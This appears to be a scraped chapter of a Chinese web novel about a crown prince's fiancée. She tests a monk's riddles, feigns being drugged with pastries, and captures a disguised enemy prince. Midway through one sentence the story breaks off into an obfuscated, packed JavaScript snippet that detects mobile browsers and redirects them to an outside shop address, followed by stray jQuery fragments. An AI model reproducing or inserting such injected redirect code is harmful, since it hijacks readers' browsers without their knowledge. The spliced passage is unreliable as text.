25. 反制

作品:《太子妃她要退婚

    靳红昭虽然诧异,却没有感到恶意,便果断应下:“晚辈荣幸,净尘法师请。”


    太阳半落,寺中青烟袅袅,佛音绕梁,连时辰都似在慢下来。出正殿,走右侧笔直一道通幽处,便是禅房。禅房外是苍柏翠松,内是几片蒲团,一张长桌,一面写着“禅”字的方形白色麻布。


    她跟随净尘法师在蒲团落座,直至他斟茶两碗放两人面前,才又开口。


    “这是老衲前尘旧友赠的雪松茶,施主可品之。”


    靳红昭端起茶碗,嗅得清凉木质香,是北地雪松茶。往年人情走礼,燕秋都有装上几罐。她饮入一口,口感微涩,不如燕秋年年所赠新茶的细腻,却沾染了沉香与檀香的甜润与醇厚。


    “入口叫人心沉静,好茶。”


    净尘法师双手合十,念了一句佛号,又道:“施主不妨再饮一口。”


    靳红昭依旧顺从再饮一口,口感却生截然反差。清滑覆盖最初的微涩,甜润醇厚也完全被凉意取代。


    “可是变了?”净尘法师一眼看破她的困惑。空无的语气,似一股无形之力,推着她不由自主便回了“是”。


    “施主可再饮第三口。”


    靳红昭迟疑几息,终是端杯饮下第三口,口感却真正回归了雪松新茶的细腻木调。这究竟是陈茶还是新茶?


    待她思索一阵,净尘法师又问她:“施主心中可有答案?”


    靳红昭无言相答。


    她京中最为交好的阿玥、燕秋、玉莲和阿宁,皆是率性之人,即便阿晏含蓄些,也极少会同她话中有话地交谈。便是这些时日,她身边也有表姐替她分辩。


    “施主不必这般多虑,老衲所问,只在施主那一瞬之想。”


    方才瞬息的答案?她道:“是新茶?因沾染寺内禅香,掩盖了本来气味?”


    “善哉。”净尘法师又念一句佛号,对她继续,“施主不愧是大气运者,眼如明镜,心性从容。”


    “大气运者?”靳红昭感到莫名。


    “不错。”


    “老衲今日打坐时,寺外忽有紫气迎来,故老衲来前殿解惑,便见施主气运加持,这才请施主相谈。”


    “施主镇静远超同龄,身侧好友亦是不凡之相,想来施主出身极高。”


    “这是所谓大气运的根本?”靳红昭问。


    “非也。气运者,天时地利人和,缺一不可。大气运者,更甚之。”


    “法师何解?”


    “阿弥陀佛,天机不可窥见。”


    “……”靳红昭仿佛被戏弄一般,却见净尘法师宝相庄严,又不好发作。


    “老衲在洛安寺修行四十余载,与施主有此一叙,是机缘。虽无法为施主探寻天机为何,却有两句话相赠施主。”


    ***


    “慈悲为引,心眼可为万物之门?”


    “今日之果,皆由昨日因种。因果循环,是定数,亦是变数?”


    崔毓臻与江菡玥重复着这两句禅语,俱是一头雾水。


    "参不透便不参吧,你们后来在寺中可发现了什么?"靳红昭撇开那所谓天机谜语,问道。


    “昱王和裴二郎都说没有发现隐藏密道,虽有樟木建造的痕迹,气味却是极淡。这查询方向,应当不对。”崔毓臻答她。


    *回到府衙,已是酉时六刻。


    君景霖与方尚书坐在院中,卫瑾行和方尚书那随从,分立两人身后。于仲卿已从落霞村返回,与陈康坐在两人身旁。


    迈入院中,靳红昭便和君景霖目光相交。只见他立即便起身,往自己走来。


    “可玩得开心?”他走到身边,问道。


    她答:“寺宇庄严,表姐和阿玥也都得了好签,不算白去。”


    走到院中小桌旁,靳红昭问:“怎么连茶也未上,绿萼、灵芝和巧蝶不是都在府衙吗?”说完,她叫来绿萼,“去泡茶来。”


    顿了顿了,她想起什么似的,补道:“将我屋里,方伯伯送的点心也端来。”


    她瞥见方尚书眼色一变,却未听他反驳。


    于仲卿和陈康退下,卫瑾行和裴霁云又从屋里搬出来两把椅子。姐妹三人同君凌霄坐下,裴霁云则站去了卫瑾行身边。


    “方伯伯觉得这两位官员如何?”靳红昭率先问道。


    “你父亲说你往日总痴迷武学,没想到看人眼光竟也不错。方才与殿下已经商定,陈县令治理洛安县有功,又协同破获伪钱一案,刚好李知府被贬,准备将他升作洛云府知府。至于于侍郎,还需回京另议。”


    她满意笑笑:“我是不懂,左右方伯伯公允,不会叫两位大人吃亏。”


    月弦向下,像竖直悬于海浪的银船,将要倾翻,仍坚决相迎。


    众人皆是喝口茶,无人拿点心。江菡玥先取一块入口,夸道:“伯母手艺这般好,方伯伯实在好口福。”


    崔毓臻也品一块:“不愧是母亲那辈,士族中最受人赞赏的王氏嫡女,手艺比我在族中吃过的都要好。”


    糕点是新做,却也下了药。从前帮舅舅审案,阿玥听说犯案那人胆小,便研制了一种吃了让人心慌冒汗的药。这药她喜欢用来唬人防身,时常带在身上。


    于是,两人吃过糕点不过一刻钟,都冒出薄薄一层汗。


    “怎忽然这样热?”崔毓臻手掌扇着脸。


    江菡玥也擦拭额头的汗。


    靳红昭刚送点心入嘴,咽下后笑她俩:“都说天回暖,让你们少穿一件,这都入夜还热。”


    “那我和阿玥先退下,晚些再来寻你。”崔毓臻配合着起身,与众人告辞。


    靳红昭也随之站起来:“我回屋等你们,不在这耽误谈正事。”


    “我送你。”君景霖起身要随她走,却被方尚书阻拦。


    “太子殿下,罗县丞通敌卖国一案,还需早日押解回京。臣以为,应当连夜将一应证据整理好,争取明日便可动身回京。”


    靳红昭也冷冷对他道:“方伯伯说得有理。早日回京,表哥也好去京中养伤。殿下且去忙正事。”


    回屋,绿萼替她拆下发冠,半绾长发,玄色劲装也换一身松弛的柔白交领襦裙。只一盏茶的功夫,就有人敲门。


    “谁?”她问。


    “……是我。”竟是君景霖的声音,却不是他的语气。


    她出声让绿萼将门打开,那人却趁机猛一推门,迅速将匕首抵住绿萼颈部。


    看清来人,的确是方尚书那随从。


    绿萼和灵芝,是靳红昭十二年前雪灾里救下的一双孤儿,阿玥来京后,她便让灵芝照顾阿玥。她俩自幼同自己习武,功夫可比之阿宁和燕秋。


    不等那人说话,绿萼已经一掌推开颈边匕首,随即三五招将人制服。


    “西辰早已对大启俯首臣称,竟还有皇室遗子想效仿史书中那越王复国。可这实力,未免太异想天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361150|197716||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开。”


    随从满眼震惊:“你如何知道?”


    靳红昭自然不答。


    大启东影和北梁,皆是以左为尊,唯独西辰以右为尊。哪怕是作揖时,西辰也会右手在上。


    这些顽固的习性,只有傲慢的贵族子弟最难改变。


    而伪声秘技,更是西辰皇室所有。


    “方伯伯知晓你的身份吗?”


    “呸,你个蠢货!你当人作伯父,人家可不把你当小侄。你发现孤身份又如何?你已中了无解之毒,倘若立刻求孤要了你,尚有一条生路。”


    原来,是幼年随他父皇去东影联盟,却被她和阿瑾哥哥抓过三五回的西辰太子,南丘钰。


    绿萼气不过,扇了南丘钰一耳光:“什么狗贼,也配肖想我们姑娘。”


    南丘钰侧头怒视绿萼:“一个婢子也敢动手!你主子一会儿毒发,孤要你们主仆一起服侍!”


    靳红昭捏起桌上茶杯一掷,砸中南丘钰膝盖,他瞬间单膝跪下。


    “真是只未受教化的禽兽,你当我会信你的话?”


    “你怎么还能动用内力!”南丘钰惊讶道。


    话说至此,她便无需再与他假意套话,故作恍然般讥讽:“原来是针对内力的药?那很可惜,我这力气,还用不上内力。”


    “绿萼,你把他绑去议事厅,将原话带给太子几人。”


    绿萼气冲冲重压人出门。


    很快,君景霖便跑进屋。


    “昭昭……”


    靳红昭捂住他嘴,将他抵至门关上,撞出不小动静。


    他高她半头,此刻与她紧紧相贴,鼻尖恰好嗅到她发顶。皂荚香被寺院凝神静气的禅香压过,却无法压下他心中躁动。


    僵持近半盏茶的时间,她才将人松开。


    “屋顶人走了。你怎么来这么快,人可安排好了?”


    “有瑾行和你表兄,还有昱王。你表妹也吃了点心,他自有理由管此事。”尽管不信她会中毒,他仍是忍不住紧张地去擦她额头的汗珠,“你这一头的汗是怎么回事?”


    为了糕点一事不露馅,也因阿玥身份不好暴露,她自然谁也未讲换糕点之事。但她以为,君景霖一定能猜到她在将计就计。


    “是表姐做的,阿玥同她父母学过点医术,会些唬人的药。”


    君景霖如释重负松了口气:“昭昭请君入瓮,是要趁机揪出背后之人?”


    “不错。方才一直有人在屋顶监听,所以你进屋时,我便……那样演于人看。”


    南丘钰身上有迷香,可惜他没将开门的绿萼放在眼中,来不及用香,便被制服。他来做此事,不仅是要毁坏自己名声,更是要彻底断绝这门联姻。


    “你中过毒,能知晓解法,今夜你留下,我们借此骗过众人。方尚书不同于罗县丞这等小棋子,他任务失败,还反将你我退婚一事弄巧成拙,必然会与背后那人见面。”靳红昭同他细说计策,却见他面颊微热,不敢看自己。


    “……”两人间骤然沉默。


    那些话她说时不觉得有异,静下一回想才觉得暧昧。


    “都听昭昭安排。”他轻语答。


    ***


    深夜,洛安寺禅房里,一僧一道正对弈。


    “还是让你这倔和尚先见着人。”老道落下一白子。


    净尘执黑棋行一步:“谁先谁后,又有何要紧。”


    ……